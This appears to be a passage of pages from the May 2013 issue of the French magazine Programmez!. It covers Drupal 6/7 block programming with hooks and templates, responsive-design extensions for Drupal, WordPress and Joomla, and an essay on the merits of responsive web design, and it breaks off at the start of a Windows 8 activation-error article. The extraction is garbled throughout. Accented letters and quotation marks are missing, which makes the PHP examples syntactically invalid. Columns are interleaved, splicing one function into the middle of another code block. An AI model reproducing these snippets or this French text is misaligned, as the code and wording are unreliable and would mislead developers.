de base de donnes est dfinie via linterface de ce module, vous
navez plus qu donner un clic de souris pour obtenir la gnration
dun ou de plusieurs blocs, qui seront alors votre disposition dans
linterface dadministration des blocs.

4 QUELQUES ASTUCES
Avant daborder la programmation des blocs, voici quatre astuces,
fort pratiques. Dabord dans ladministration dun bloc, il est possible
de dfinir sur quelles pages celui-ci doit, ou ne doit pas, safficher.
Cest--dire pour quelles URL il doit safficher. Il est possible dutiliser
des jokers avec les URL, et surtout dans les URL. Ainsi, si vous avez
le module Pathauto install et activ, vous pouvez disposer dalias
dURL gnrs selon les types de contenu. Afin quun bloc saffiche,
ou non, pour un type de contenu vous pouvez donner une URL de
cette forme dans une interface dadministration :

< 73 >

MAI

2013

73-76

20/04/13

00:37

Page 74

i webmaster
le-type-de-contenu/*
Mais l, gardez lesprit quil nest pas requis que le joker soit plac
en fin dURL. Par exemple ce filtre dURL fonctionnerait trs bien :
le-type-de-contenu/*/la-categorie
Dans ce cas, selon la constitution de vos alias, le joker pourrait par
exemple vouloir dire : ce type de contenu, publi par nimporte quel
auteur, et rang dans cette catgorie. Deuxime astuce, le cas des
vues arguments. Lorsque vous avez dfini une vue de la base de
donnes grce au module vue, cette vue peut recevoir des arguments de lURL de sa page. Lorsque le module vue gnre une page,
tout est automatique par dfinition. Mais dans le cas dun bloc cest
diffrent car un bloc de vue na pas directement accs lURL de la
page dans laquelle il saffiche.
Pour rsoudre le problme, cliquez sur largument de votre bloc/vue
dans linterface dadministration des vues, puis slectionnez loption
Provide default argument, puis comme Default argument type,
slectionnez PHP Code [Fig.2]. Enfin, donnez un code dans lesprit de
celui ci-dessous qui renvoie titre dargument du bloc/vue le troisime lment de lURL courante.
$url = drupal_get_path_alias($_GET[q]);
$url_elements = explode(/, $url);
return $url_elements[2];
Si au dpart les blocs sont conus pour safficher dans les rgions du
thme daffichage de votre site, il est souvent trs intressant de pouvoir les rendre directement dans un noeud. L encore, le cas de la
bannire publicitaire est une application toute trouve. Cette insertion
dun bloc se fait trs souvent dans le patron daffichage dun type de
contenu. Cela peut donner quelque chose comme ceci, pour Drupal 6 :
<div class=banniere-pub></div>
<?php

La fonction module_invoke provoque lexcution dun hook pour un


module donn. Ici le module est le module block. En second argument vient le nom du hook. Nous donnons block, ce qui signifie
hook_block. Les autres arguments de lappel module_invoke sont
passs en arguments du hook. Ici nous donnons view parce que
nous voulons une opration daffichage, puis nous donnons le delta
du bloc, cest--dire son identifiant. Dans cet exemple, il sagit dun
bloc cr depuis linterface dadministration des blocs. Le module
concern est donc bien block. Si nous avions faire un bloc/vue,
celui-ci dpendrait du module Views. Lappel serait alors :
$block = module_invoke(views, block, view, block_delta);
Les notions dopration et de delta (qui nest quun identifiant entier
ou chane) seront claircies plus loin. Sous Drupal 7 cela fonctionne
de la mme faon, mais diffremment :-)
<?php
$block = module_invoke(module_name, block_view, block_delta);
print render($block);
?>
En effet sous Drupal 7 le nom des hooks est modifi. Ici le hook est
devenu hook_block_view. Le rendu du bloc est lgrement diffrent
aussi. Enfin sur un site charg, ou sur un serveur aux ressources
limites, pensez aux performances. Un bloc qui implique des
requtes lentes en base de donnes peut devenir pnalisant pour
votre site. Dans ce cas activez le module throttle, qui vous permettra de surprendre laffichage des blocs de votre choix en cas de pics
de frquentation.

PETITE VISITE EN BASE


DE DONNES

Pour bien travailler avec les hooks par programmation, il est intressant de prendre le temps de voir comment les choses se passent
dans la base de donnes de Drupal. Sous Drupal 6, trois tables
entrent en jeu, La premire, blocks, recense tous les blocs connus
du systme. Le module par lequel a t gnr un bloc, son affectation une rgion, pour un thme donn, ou encore sa position dans
une rgion sont parmi les informations contenues dans cette table.
La table blocks_role contient les informations qui permettent dassurer un affichage selon le rle du visiteur, et enfin la table boxes,

$block = module_invoke(block, block, view, 10);


print $block[content];
?>
</div>
<div class=contenu>
<?php print $content; ?>
</div>

Fig.2

Avec quelques lignes de code PHP, il est possible de passer des arguments
un bloc/vue depuis une URL.
PROgrammez !

Fig.3

Deux blocs crs par programmation apparaissent en colonne de droite du


thme dadministration.

< 74 >

MAI

2013

73-76

20/04/13

00:37

Page 75

i webmaster
comme son nom ne lindique absolument pas, dtient le contenu des
blocs qui sont gnrs via linterface dadministration. Sous Drupal 7
les principes sont les mmes, sauf que les tables sappellent block et
non plus blocks, que boxes est remplace par block_custom et
quune nouvelle table a fait son apparition: block_node_type. Cest
grce cette table que Drupal 7 contrle laffichage des blocs en
fonction des types de nuds.

6 LA PROGRAMMATION SOUS DRUPAL 6


Crons un module Drupal 6 qui dfinit par programmation 2 blocs qui
seront affects la colonne de droite du thme Garland, qui est le
thme par dfaut [Fig.3]. Pour lexercice, on suppose que nos blocs ne
devront apparatre que dans linterface dadministration, lors de lajout
de contenu, en loccurrence. Sous Drupal 6, un seul hook, hook_block,
permet de grer tout le travail avec les blocs. Voici sa signature :
hook_block($op = list, $delta = 0, $edit = array()
Cest largument $op qui dfinit plus prcisment lopration en
cours de traitement. Ces oprations sont au nombre de quatre : list,
configure, save et view. Lopration list permet de dclarer nos
blocs. Le hook doit alors retourner un tableau de dfinition de blocs,
identifis par leur delta. Chaque lment de ce tableau tant luimme un tableau constitu de paires cls/valeurs. Voici ce que cela
donne ci-dessous. (Le lecteur trouvera le code complet de tous les
exemples de cet article sur notre site www.programmez.com)
case list:
$blocks = array(
prog => array(
info => t(Programmez! block),
status => true,
region => right,
weight => -20,
visibility => 1,
pages => node/add/*,
custom => false,
title => t(Programmez! block),
),
abo => array(
info => t(Subscription block),
status => true,
region => right,
weight => -19,
visibility => 1,

function progbloc_install() {
db_query(INSERT INTO {blocks} (module, delta, theme, status,
weight, region, pages, visibility, title)
VALUES (%s, %s, %s, %d, %d, %s, %s, %d, %s),
progbloc, prog, garland, 1, -20, right, node/add/*, 1,
t(Programmez! block));

pages => node/add/*,


custom => false,
title => t(Subscription block),

db_query(INSERT INTO {blocks} (module, delta, theme, status,


weight, region, pages, visibility, title)
VALUES (%s, %s, %s, %d, %d, %s, %s, %d, %s),
progbloc, abo, garland, 1, -19, right, node/add/*, 1,
t(Subscription block));
}

),
);
return $blocks;
break;
Dans ces paires cls/valeurs, info dfinit une chane traduisible qui
sera visible dans linterface dadministration des blocs. La cl titre,
galement traduisible, quant elle, correspond au titre du bloc tel
quil sera affich, et quil est toujours possible de redfinir dans linterface dadministration. Le boolen status true indique un bloc

PROgrammez !

actif par dfaut. La cl weight dfinit lordre daffichage dans une


rgion. La cl visibility dfinit le mode de filtre daffichage des blocs.
Ici 1 signifie seulement sur les pages listes. Pages qui sont dfinies par la cl pages => node/add/*. La cl custom est normalement false, puisque le bloc est dfini par programmation. Enfin la
cl region mrite une attention toute particulire. Sa valeur est le
nom ... dune rgion. Mais pour quel thme ?
Cela ne peut pas tre dfini ici. Le thme Garland propose bien une
rgion dont le nom est right. Si vous allez dans linterface dadministration des blocs en tant sous ce thme, notre hook sera invoqu,
et les blocs seront affects la rgion.
En revanche si vous allez dans linterface depuis un autre thme, si
ce dernier une rgion right cela fonctionne encore, mais sinon, le
bloc sera dsactiv. Bien sr vous pourrez lui affecter une rgion a
postriori depuis linterface.
Chaque fois que vous allez dans cette interface depuis un thme, le
hook est invoqu et les entres dans la table blocks seront cres en
consquence. Mais attention ! Si vous modifiez votre code et que
vous revisitez linterface depuis un thme pour lequel les blocs sont
dj enregistrs, rien ne sera mis jour en base de donnes. En
outre, si vous dsinstallez votre module, les blocs ne seront pas effacs de la table blocks. Ces observations amnent formuler plusieurs conclusions :
Mme si Drupal nous permet de le faire, affecter un bloc une
rgion par programmation ne fait pas grand sens.
Lopration list, si elle doit tre traite, et si elle est lendroit normalement prvu cet effet, nest peut-tre pas le meilleur emplacement pour dclarer un bloc.
Drupal, aussi formidable quil soit, nest pas trs consistant ce
niveau car il ne permet pas dinstaller automatiquement les blocs
crs par un module. Une autre possibilit est de passer par les
hooks dinstallation et de dsinstallation dun module. Depuis ces
endroits on agira directement sur la base de donnes pour dclarer
les blocs ou les effacer. L encore, affecter un bloc une rgion ne
fera (un peu de) sens que si lon est sr que le thme existe. Garland
qui est souvent le thme dadministration par dfaut est un bon candidat. Voici alors le code :

function progbloc_uninstall() {
db_query(DELETE FROM {blocks} WHERE module=%s AND delta=
%s, progbloc, prog);
db_query(DELETE FROM {blocks} WHERE module=%s AND delta=
%s, progbloc, abo);
}

< 75 >

MAI

2013

73-76

20/04/13

00:37

Page 76

i webmaster

7 CONFIGURATION DUN BLOC

8 LAFFICHAGE DES BLOCS

Lopration configure de hook_block permet dajouter la vole des


lments au formulaire de configuration individuelle dun bloc. Supposons que nous voulions rajouter une case cocher qui nous permette de dcider si notre bloc didentifiant (delta) prog doit tre mis en
cache [Fig.4]. Cette information sera ensuite sauvegarde en base de
donnes dans la table variable lors de lopration save. Voici le code
qui ralise cela.

Enfin, il faut traiter laffichage des blocs. Cela se fait dans lopration
view, et cela ne prsente aucune difficult.

case configure:
$form = array();
if($delta == prog) {
$form[progbloc_config_cache] = array(
#type => checkboxes,
#title => Performances,
#options => array(cache => Mettre en cache),
#default_value => array(cache => variable_get(progbloc_
config_cache, 0)),
);
return $form;
}
break;
case save:
if($delta == prog) {
variable_set(progbloc_config_cache, $edit[progbloc_config_
cache][cache]);
}
Break;

case view:
switch($delta) {
case prog:
// ici ventuellement tester les droits daccs
// et agir en consquence
$contenu = Programmez! c\est bon pour la sant;
$block[content] = $contenu; // ou theme(un_hook, $contenu);
return $block;
break;
case abo:
// ici ventuellement tester les droits daccs
// et agir en consquence
$contenu = Pour bien Programmez! le mieux est de vous abonner :-);
$block[content]= $contenu; // ou theme(un_hook, $contenu);
return $block;
break;
default:
break;
}

9 PERSONNALISER
LAFFICHAGE DES BLOCS

Lendroit idal pour cela est certainement un patron daffichage. Il


suffit de copier le modle de template block.tpl.php du module block.
De le dposer dans le rpertoire du thme, de le renommer selon la
convention Drupal block-module-delta et den personnaliser le contenu. Voici pour notre module progbloc et le delta (identifiant) prog le
fichier block-progbloc-prog.tpl.php.
<div id=block-<?php print $block->module .-. $block->delta;
?> class=clear-block block block-<?php print $block->module ?>>
<?php if (!empty($block->subject)): ?>
<h2><?php print $block->subject ?></h2>
<?php endif;?>
<div class=prog-bloc content><?php print $block->content ?></div>
</div>

10 SOUS DRUPAL 7

Fig.4

Nous enrichissons le formulaire de configuration de nos blocs par


des oprations de cache.
PROgrammez !

Cest exactement la mme chose que sous Drupal 6, sauf que cest
diffrent :-) Tout dabord des blocs ne pourront apparatre dans les
colonnes dun thme dadministration que si vous avez dsactiv le
module overlay. Au lieu dun seul hook, il y en a plusieurs qui sont
constitus par les noms doprations : list donne... hook_block_info,
et nous avons ensuite hook_block_configure, hook_block_save,
hook_block_view. Il est ensuite possible dagir a postriori sur les
blocs, via des hook suffixs par le terme _alter. Nous renvoyons le
lecteur la documentation sur ce point. Enfin les noms de templates
contiennent des doubles tirets. Mais part tous ces changements,
le code proprement dit est identique :-) Le lecteur trouvera lexemple
complet pour Drupal 7 sur notre site.
# Frdric Mazu - fmazue@programmez.com

< 76 >

MAI

2013

77-81

20/04/13

01:04

Page 77

i webmaster

Rendre mon CMS responsive

Depuis l'apparition des nouveaux supports (tlphones, tablettes...), les gestionnaires


de contenus, ont d repenser leur faon de lire l'information et de la prsenter. C'est
pourquoi l'ensemble des CMS proposent diffrentes extensions pour rpondre aux
attentes des lecteurs et des dveloppeurs.
e Web Design a volu et ne peut plus proposer une seule
rsolution qui tait la page web standard . De nos jours il a
provoqu une redfinition des rgles d'affichage sans impacter
le contenu. Or, le choix de passer dans un mode dynamique soulve diffrentes interrogations, mme pour les gestionnaires de
contenus (CMS). Les rsolutions standards ne pas oublier, pour
rendre son contenu responsive , sont les suivantes :
Smartphone (320px, attention tout de mme aux grandes diagonales actuelles)
Tablette (768px)
Netbook (1024px)
Desktop (1600px, voir plus)

> Contraintes et solutions


Suivant le langage que vous utilisez pour vos pages web, vous risquez
de ne pas pouvoir afficher correctement celles-ci dans certaines rsolutions. Sauf si vous les adaptez spcifiquement ou redveloppez une
couche par type de terminal. Par exemple, si vous placez des zones
animes dans vos pages, ralises en Flash, certaines rsolutions
d'affichages ne pourront tre disponibles, comme les bandeaux en
480x60, sauf si vous prvoyez une animation de remplacement. Et
surtout, Flash ne sera pas lu partout. Contrainte technique ne surtout pas oublier. Une des solutions alternatives pour garder un rendu
identique est d'utiliser des langages plus adapts au responsive design.
La solution actuelle pour rpondre cette problmatique repose
essentiellement sur Javascript, HTML 5 et bien entendu le CSS 3.
Reportez-vous au dossier publi sur le sujet dans Programmez ! 162.

DRUPAL
Drupal propose un affichage sous la forme de 'blocs de contenus',
permettant ainsi d'effectuer trs peu de modifications pour rpondre
aux attentes de responsive design.

> Template
Drupal a une capacit thmatique extensible ce qui permet de proposer un sous-thme dans un thme existant. Le sous-thme hritera des ressources Javascript, CSS et les fonctions template.php de
son thme parent. Ainsi, vous pouvez aborder un thme personnalis de la mme manire que dans le dveloppement de modules.
Vous pouvez vous appuyer sur le thme de contribution native
comme Zen, Adaptivetheme ou Omega. Ce dernier est le plus avanc pour Drupal 7, car il utilise HTML 5, Grid 960, Responsive Design et vous pourrez vous en servir comme thme de base.

> Module
> Positionnement des CMS
Pour rpondre aux attentes du Responsive Design, de nombreux
CMS ont repens le concept de certains emplacements d'affichages
sous la forme de bloc de contenu pour permettre de garder des
zones d'affichages appropries avec une largeur et une hauteur spcifique. Ainsi, vous pouvez insrer dans une zone, du contenu 'header', 'index', 'menu', 'annexe', produit', 'commentaires', 'footer'.
Dans la ralit, les CMS proposent souvent 2 approches :
Utilisation d'une extension/module/plugin
Adaptation d'un thme
Si votre prfrence se porte sur le thme, il s'agit d'une solution plus
avantageuse long terme. Mais si vous souhaitez l'utiliser travers
l'interface du back-office, et par consquent en utilisant une extension, cette solution est plus rapide sur le court terme. L'article
effectuera un tour d'horizon sur les diffrentes possibilits mises
votre disposition, pour proposer ce passage assez complexe mais
facile pour insrer dans votre projet web responsive .
Prcision de la rdaction : attention ! Vous nafficherez pas le mme
contenu sur un PC, une tablette, un smartphone. Le contenu doit en
effet tre cibl selon le canal utilis ainsi que la manire de prsenter linformation et les fonctions / interactivits lies.

PROgrammez !

Au niveau du contenu, Drupal met votre disposition des modules


pour adapter le contenu suivant le support de lecture et du device :

> Views Responsive Grid


Ce module est disponible en Drupal 7 et montre le rsultat final de
votre contenu sous la forme d'une grille. Son but est de vous faire
gagner du temps au niveau de l'affichage et du positionnement final.
L'interface de celui-ci propose de slectionner l'ordre de disposition
en grille horizontale et verticale.

> Responsive_images
Bibliothque qui associe plusieurs modules. Tout d'abord il stocke les
images dans diffrentes rsolutions pour proposer le meilleur format
lors de l'affichage d'un contenu suivant la rsolution et la dimension de
votre navigateur. De plus, vous pouvez associer plusieurs dimensions
pour un mme contenu pour optimiser la qualit de vos illustrations.

> Alloy
Module qui facilite l'utilisation de la gestion des sous-thmes. Il utilise
toutes les rgions de dfaut pour la fusion, avec la possibilit d'associer
les blocs et le CSS3 pour amliorer l'affichage et les mdiaquries.

< 77 >

MAI

2013

77-81

20/04/13

01:04

Page 78

i webmaster
WORDPRESS

> WPtouch

Il propose une approche diffrente du responsive design, mais vous


avez la possibilit de le mettre en place suivant vos besoins.

Ce plugin affiche vos pages, articles et catgories sous la forme


d'une liste pour les possesseurs de tlphones. Par ailleurs, vous
pouvez modifier l'apparence finale partir de l'interface d'administration. Les emplacements affichs sont configurables, et ainsi, vos
titres, alignements du texte, pied de page et page d'accueil peuvent
changer d'apparence.

> Thme
Pour raliser un thme Wordpress, compatible responsive, vous
devez prvoir quelques lignes de code supplmentaires dans votre
CSS.

> WpviewMobile
/* landscape */
@media screen and (min-width: 321px) {
#wrapper {
background-color: #ffDD00;
margin: 0 auto;
width: 90%;
width: 400px;
overflow: auto;
}

Ce plugin propose les mmes fonctionnalits que le prcdent, avec la


particularit de pouvoir dsactiver le mode images ou de les retailler.

JOOMLA
Loutil a volu pour permettre de raliser un responsive design. Vous
devrez quand mme passer des versions rcentes pour en bnficier.

> Thme
Depuis les versions 2.0/2.5, le CMS Joomla propose des templates
rpondant au responsive design. Cependant tous les templates
natifs et populaires ne sont pas compatibles. Toutefois, vous pouvez
dj compter sur les templates JoomlaBamboo, JoomlaArt, JoomlaPraise pour rpondre aux diffrentes attentes.

/* portrait */
@media screen and (max-width: 320px) {
#wrapper {
/*background-color: #ff0000;*/
margin: 0 auto;
width: 300px;
overflow: auto;
}

> Extension
Pour concevoir un template responsive design avec le CMS
Joomla, vous pouvez vous appuyez sur le composant Template
crator CK . Vous devrez garder l'esprit que si vous utilisez cette
technique, vous devez rester dans une logique simple et fonctionnelle. Bien entendu, il existe des extensions pour vous faciliter la compatibilit. Les plus connues sont :

> Plugin
Du cot des plugins, le CMS Wordpress propose 2 approches. Tout
d'abord, vous pouvez imposer l'ensemble de vos plugins une fonction supplmentaire pour dfinir la largeur de l'cran, qui se reprsente de la faon suivante :
function ipad_add_css_and_js() {
echo '<link rel="stylesheet" href="' . get_bloginfo('wpurl') .'/
wp-content/plugins/responsive-twentyten/css/style.css" media=
"screen and (min-device-width: 768px)" type="text/css" />
<link type="text/css" rel="stylesheet" media="only
screen and (max-device-width: 768px)" href="' . get_bloginfo('wpurl')
.'/wp-content/plugins/responsive-twentyten/css/tablet_style.
css" />
<meta name="viewport" content="width=device-width, minimumscale=1.0, maximum-scale=1.0">';
}
add_action('wp_head', 'ipad_add_css_and_js');
Cependant, vous pouvez aussi utiliser les diffrents plugins disponibles que propose ce CMS pour afficher un mode responsive compatible :

> Mobile detector


Ce plugin redimensionne vos pages pour qu'elles tiennent sur un
petit cran au lieu d'afficher leur propre thme. Comme ceci, votre
projet est automatiquement disponible pour les smartphones, tout
en gardant le design d'origine.

PROgrammez !

> Unite revolution responsive slider


Il s'agit d'une extension trs complte rpondant tous les cas courants du moment. Vous contrlez l'extension partir d'une interface
dans le back-office, qui propose de nombreux choix : La possibilit de
redimensionner une image, d'associer le CSS avec jQuery, tout devient
personnalisable sans aucune limite avec un mode drag and drop...

> Simple Responsive SlideShow


Il s'agit d'un diaporama intelligent qui s'adapte et se redimensionne
pour tous les devices. De plus, vous pouvez personnaliser l'extension
en modifiant le fond d'cran, les effets de transitions, la dure, les
mouvements, etc.

CONCLUSION
Mme si cet article n'a pas abord tous les CMS, vous devez regarder
en dtail le vtre et vrifier la compatibilit responsive travers le template, et/ou au travers d'extensions. Bien entendu, pour raliser un
responsive design , il existe des outils qui permettent de concevoir
des templates professionnels, complexes en quelques clics pour l'ensemble des CMS populaires (Drupal, Joomla, Wordpress...) comme
Artisteer. Vous devez faire trs attention car vous pouvez rencontrer
quelques difficults lors de l'volution de celui-ci ou au niveau des modifications partielles. Et noubliez pas non plus le dploiement en production
# Christophe Villeneuve
Consultant pour Neuros, auteur du livre PHP & MySQL-MySQLi-PDO,
Construisez votre application , aux ditions ENI. Rdacteur pour WebRIVER,
membre des Teams DrupalFR, AFUP, LeMug.fr, Drupagora, PHPTV.

< 78 >

MAI

2013

77-81

20/04/13

01:04

Page 79

i webmaster

Responsive web design : pour ou contre ?

Avec la multiplication du
nombre de supports permettant de surfer
sur le web, lergonomie des sites internet proposs aux visiteurs, peu importe le
terminal utilis, est au cur des proccupations en 2013. Le responsive web design
reprsente pour beaucoup la solution miracle pour universaliser un site web.
Dcryptage de cette volution attrayante du web : quels en sont les avantages et
inconvnients ? Et comment concevoir des sites responsive ?
LE RESPONSIVE
DESIGN, DFINITION
ET ENJEUX
Les usages web ont fortement volu depuis
plusieurs annes. Lutilisation des mobiles et
tablettes explose ; plus de 23 millions de
franais ont en effet dj accd internet
via leur mobile (1) et plus de 3 millions de
foyers possdent une tablette tactile en
France (2).
Il devient donc crucial pour les entreprises,
la fois du secteur priv et public, de rflchir
leur prsence multi-crans (ordinateur,
mobile, tablette, tlvision connecte) afin
doffrir aux visiteurs lexprience utilisateur la
plus confortable et ergonomique possible.
Deux solutions se dmarquent pour
rpondre ces problmatiques ; soit mettre
en place des versions spares ddies aux
mobinautes (version mobile, application
mobile), ou dun autre ct, miser sur le responsive web design (conception adaptative
en franais).
De plus en plus plbiscit en entreprise, le

(1) Chiffres de Mdiamtrie au 4me trimestre 2012


(2) Chiffres de Mdiamtrie au 3me trimestre 2012

responsive design est une technique qui vise


optimiser ou adapter automatiquement
l'affichage d'un site web en fonction du terminal utilis.
Concept sduisant, il implique de repenser
en profondeur la conception des sites et
interfaces et danticiper les contraintes dutilisabilit quel que soit le support de navigation choisi.

> Un dfi de taille :


lergonomie
A chaque utilisateur correspond un usage
distinct du web en fonction du terminal utilis. Chaque cran implique un usage et des
contraintes distinctes : tactile, taille dcran,
dbit internet. Comment concilier ergonomie
et multiplication des usages ?
Le responsive design rpond cette question en permettant de concevoir un site
unique compatible quel que soit le support
emprunt, vitant ainsi le dveloppement de
plusieurs versions d'un site web ou d'applications natives. Le site web conu peut donc
changer de forme, sadapter automatiquement selon la taille dcran, une exprience
unique et sduisante pour lutilisateur !
Concrtement, comment a marche ?

PROgrammez !

< 79 >

MAI

2013

Le responsive design repose sur trois composants cls :


Des requtes de mdia (media queries) : il
sagit de critres en CSS3 qui permettent
dadapter dynamiquement le design en
fonction des caractristiques de chaque
support utilis et de la taille dcran correspondante.
Des grilles fluides : il sagit de concevoir
une interface compose de blocs en units
relatives, cette conception modulaire permet de jouer sur la composition de la page
en fonction de la largeur de lcran. Les
lments fluides occupent le mme pourcentage d'espace sur les dif frents
crans. Par exemple un lment va
prendre 50 % de la largeur, quel que soit
le terminal.
Des images flexibles : autre lment
important du responsive design il sagit de
proposer des images dont la taille et la disposition sajustent en fonction de lcran.
Une premire solution est de dfinir les
images en unit relative, le redimensionnement de l'image est alors laiss au navigateur. Si cette solution a lavantage de la
simplicit, le rsultat est malheureusement loin d'tre optimal en termes de qua-

77-81

20/04/13

01:05

Page 80

i webmaster
lit et le poids de l'image reste inchang,
ce qui peut poser problme lors de
connexion faible dbit (GPRS, Edge, ).
Une autre solution est dafficher certaines
images (par exemple celles lies au design)
l'aide des media queries. Par exemple,
en dfinissant une feuille de style ddie
aux crans de moins de 480px, les images
utilises dans cette feuille de style peuvent
tre spcifiquement adaptes cette
rsolution : le redimensionnement est fait
lavance par un logiciel spcialis et le
poids de limage est rduit. Pour les
images intgres dans le corps de la page,
il suffit de dclarer chacune des images et
d'afficher/cacher les images l'aide des
media-queries. Attention toutefois, le navigateur tlcharge toutes les feuilles de
styles, le principal dfaut de cette mthode
est que les images caches seront aussi
tlcharges. L'utilisation de javascript est
une troisime piste intressante puisquelle permet d'optimiser le chargement des
images et viter que le navigateur ne charge des images inutiles ; les media queries
tant utilises pour le reste.
Dans la pratique, mettre en uvre un site
camlon qui saura sadapter automatiquement chaque terminal en fonction de ses
caractristiques spcifiques est donc dlicat. Il est essentiel de reconsidrer tous les
cas de figure possibles, les agencements de
contenus, les redimensionnements dimages
et doptimiser l'utilisabilit du site, peu importe le support.

RESPONSIVE DESIGN,
VERSION MOBILE
OU APPLICATION
DDIE ?
Si le responsive design est une nouvelle tendance de fond, il existe tout de mme
dautres options envisageables en fonction
du type de projet web. Quelle solution est la
plus propice ?
Sans prendre en compte les considrations
techniques et budgtaires, la meilleure solution serait bien sr de proposer une dclinaison sur mesure pour chaque support utilis
par le consommateur. Une telle proposition,
non seulement bien utopique, serait rapidement obsolte au vu de la recrudescence
des terminaux aux formats diffrents.
Construire une version spare ou encore
une application mobile permet de proposer
aux utilisateurs une exprience utilisateur
souvent plus riche. En effet, en proposant un

site totalement diffrent du site web classique, il sera possible dajouter des contenus, des pages, des fonctionnalits
spcifiques.
Cependant, dvelopper un tel environnement
web avec diffrentes versions de sites applicables selon les supports viss implique des
efforts consquents en termes de cot, de
maintenance, des dlais de dveloppement
souvent plus longs ou suppose lutilisation
dun CMS pens pour le multicanal.
Le responsive permet de proposer une base
HTML/CSS unique qui sera compatible quel
que soit le terminal. Les avantages sont
donc nombreux :
Un temps de maintenance rduit
Un contenu unique : cela permet une gestion unique et centralise, de mme que
des efforts de rdaction et de duplication
des contenus moins importants.
Une URL unique : lment important non
seulement pour loptimisation du rfrencement naturel sur les moteurs de
recherche mais aussi en matire de communication externe.
Une seule exprience utilisateur : il sagit
de concevoir une interface lergonomie
intuitive unique pour lensemble des supports.
Des cots de dveloppement moins levs
que pour des versions spares
Cependant, si la solution est sduisante et

PROgrammez !

< 80 >

MAI

2013

semble simple premire vue, un site responsive peut savrer complexe mettre en
place.

LE RESPONSIVE
DESIGN : QUELLES
CONSIDRATIONS
TECHNIQUES ?
Le responsive design impose des
contraintes techniques lourdes sur la
conception et implique de revoir en profondeur les rles et expertises de lquipe projet. Par exemple, dans un projet responsive,
lintgrateur devra travailler en troite collaboration avec le webdesigner, contrairement
aux projets classiques.
La phase de conception est plus lourde :
quelle approche adopter pour dcider des
points de rupture du design du site ? Penser aux contenus ? Penser aux terminaux ?
Les temps de dveloppement sont plus
longs qu'un site classique seul
Les temps daffichage sont potentiellement
plus longs en raison des ajustements
dimages et de contenus. Cependant une
gestion fine des images responsive permet
de pallier cette limite, particulirement
avec lutilisation de javascript.
La compatibilit avec les diffrents navigateurs est un point sensible en raison des
codes HTML et CSS plus travaills que

77-81

20/04/13

01:05

Page 81

i webmaster
pour un site classique. En effet, tous les
navigateurs ne grent pas les media queries notamment IE7 et IE8. Toutefois, il
existe plusieurs librairies javascript comme
par exemple le plugin jQuery qui permettent de contourner cette limite.
Les cots de dveloppement sont gnralement plus levs

> Des familles


de rsolutions
Pour apprhender au mieux un projet responsive, il est important de constituer au
pralable des familles de rsolutions : < 600
px pour les Smartphones, entre 600px et
900px pour les tablettes orientes portrait,
et plus de 900px pour les ordinateurs de
bureau. Ensuite, pour chaque famille, il sagit
de dfinir les ajustements de pages et de
contenus.

> Une conception focalise


sur lessentiel
La conception est une tape charnire dans
la ralisation dun site web, responsive ou
non. Elle consiste en la dfinition du zoning,
larchitecture du site, et linventaire des
contenus.
Dans cette phase cl, il est ncessaire de
raliser une interface sous forme de grille et
de blocs. Les blocs doivent tre distincts les
uns des autres et il faut viter d'inclure une
information d'un bloc dans un autre. Une fois
la grille de blocs ralise, il suffit de dplacer
les blocs en fonction des familles d'crans.
Pour cela, il est possible d'utiliser des motifs
de dispositions pour le responsive design.
Certains blocs peuvent tre cachs (par
exemple une barre latrale, cer taines
images) ou minimiss (exemple une barre de
navigation).

Il est important de garder en tte qu'un


internaute naviguera diffremment sur un
mobile et sur un ordinateur de bureau. Il est
donc souvent prfrable de cacher certains
lments de contenu plutt que de perdre
lattention de linternaute et entraver sa navigation. De plus, l'interface tactile est diffrente de l'interface clavier/souris. Il faut
donc s'occuper de la gestion de la navigation
principale et du footer. Noubliez pas de rapidement raliser un prototype pour tester le
site sur les terminaux viss !
Une bonne solution est de commencer la
conception d'interfaces responsive du plus
petit format (approche appele Mobile first)
au plus grand. Cette approche permet de se
focaliser sur laffichage des contenus, les
fonctionnalits cls et lexprience utilisateur
enrichie. Cependant, lapproche retenue
pour la cration graphique dpend du projet
et de ltude de la cible. En effet, il peut tre
prfrable de produire un layout dense pour
une version bureau qui sera priori plus utilise par les internautes, puis dcliner
chaque gabarit de page pour des crans
moins larges.

> Loptimisation de
l'intgration graphique
En termes de dveloppement HTML/CSS,
l'utilisation d'un framework permet de fiabiliser et dacclrer le dveloppement. Ils sont
privilgier en comparaison de templates
crits de toute pice par lintgrateur. Attention toutefois ne pas ngliger la monte de
comptences associe, et la rigueur qui
simpose dans leur utilisation. Pour raliser
un dveloppement responsive, les frameworks les plus utiliss sont gnralement :
SimpleGrid qui permet de simplifier la mise
en page d'une grille par l'utilisation d'une

ABONNEMENT

PDF

> Responsive design


et CMS web
Nous avons vu quun projet responsive design va beaucoup plus solliciter la rigueur de
lintgrateur web quun projet classique.
Do la ncessit de se reposer sur un
moteur de template directif et efficace et
daller vers un CMS fortement orient XML
tel que les CMS Lenya, Symphony et Ametys
par exemple.
Pour le cas de projets mens avec le CMS
Ametys, celui-ci propose un moteur de template bas sur des transformations XML
exclusivement. L'intgrateur a donc l'assurance d'avoir des contenus sans aucune balise graphique parasite, et du XHTML valide
toutes les tapes de constitution de sa page
dfinitive.
# Frdric Ravetier
Directeur Projet chez Anyware Services, socit
ditrice du CMS Ametys.

Abonnement INTGRAL
Pour un supplment de 10 an
accs illimit aux archives

30 par an soit 2,73 le numro


www.programmez.com
PROgrammez !

classe par lment. L'utilisation est particulirement simple


Skeleton qui utilise seulement des CSS.
Loutil est particulirement adapt de
petits sites et sa prise en main est rapide
Twitter bootstrap qui utilise jQuery. Il inclut
de nombreux lments graphiques et permet de mettre en place rapidement un site
multi-terminal
Foundation qui propose un framework trs
complet en se basant sur Sasset sur Compass plutt que sur du simple CSS. Il utilise
jQuery pour certains lments graphiques.
Loutil, plus lger et plus simple que Twitter
bootstrap, permet de mettre en place rapidement un prototype, et dispose de nombreux lments graphiques. Un prototype
facilite la comprhension et la simulation
de l'ergonomie.

< 81 >

Cette option est rserve aux abonns pour 1 an au magazine, quel


que soit le type dabonnement (Standard, Numrique, Etudiant). Le
prix de leur abonnement normal est major de 10 (prix identique
pour toutes zones gographiques). Pendant la dure de leur
abonnement, ils ont ainsi accs, en supplment, tous les anciens
numros et articles/ dossiers parus.

MAI

2013

82

20/04/13

00:46

Page 82

i bugtrack

Fixer l'erreur 0x8007007b d'activation


de Windows 8

Votre Windows 8 nest pas encore activ, vous souhaitez le faire, mais un message
vous informe que : Windows ne peut pas tre activ pour le moment. Essayez
dactiver Windows plus tard. Si ce problme persiste, contactez votre administrateur
systme ou le support technique pour obtenir de laide .
ous avez essay nouveau, mais toujours le mme messageOu vous avez le message : impossible dactiver
Windows, avec le Code derreur 0x8007007B.
